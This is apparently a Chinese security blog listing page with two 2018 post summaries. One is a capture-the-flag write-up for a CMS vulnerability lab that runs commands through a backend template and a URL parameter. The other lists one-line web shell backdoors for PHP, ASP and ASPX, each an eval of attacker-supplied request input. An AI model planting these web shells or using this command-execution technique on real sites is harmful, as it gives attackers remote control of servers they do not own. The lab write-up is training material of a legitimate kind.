2018年9月21日
墨者学院 - CMS系统漏洞分析溯源(第2题)
摘要： 御剑扫描发现后台登录地址 admin.php 登录后台http://ip地址/admin.php 后台用户名密码自动补充 界面 > 模板管理 > 模板风格 >search >index.html 登入后台，直接URL上执行http://ip地址/index.php?0=ls&m=content&c= 阅读全文
posted @ 2018-09-21 16:03 小贱丶 阅读(799) 评论(0) 推荐(0)
一句话木马
摘要： PHP一句话木马 <?php @eval($_POST['a']);?> asp的一句话是： <%eval request ("a")%> aspx的一句话是： <%@ Page Language="Jscript"%> <%eval(Request.Item["a"],"unsafe");%> 阅读全文
posted @ 2018-09-21 14:37 小贱丶 阅读(132) 评论(0) 推荐(0)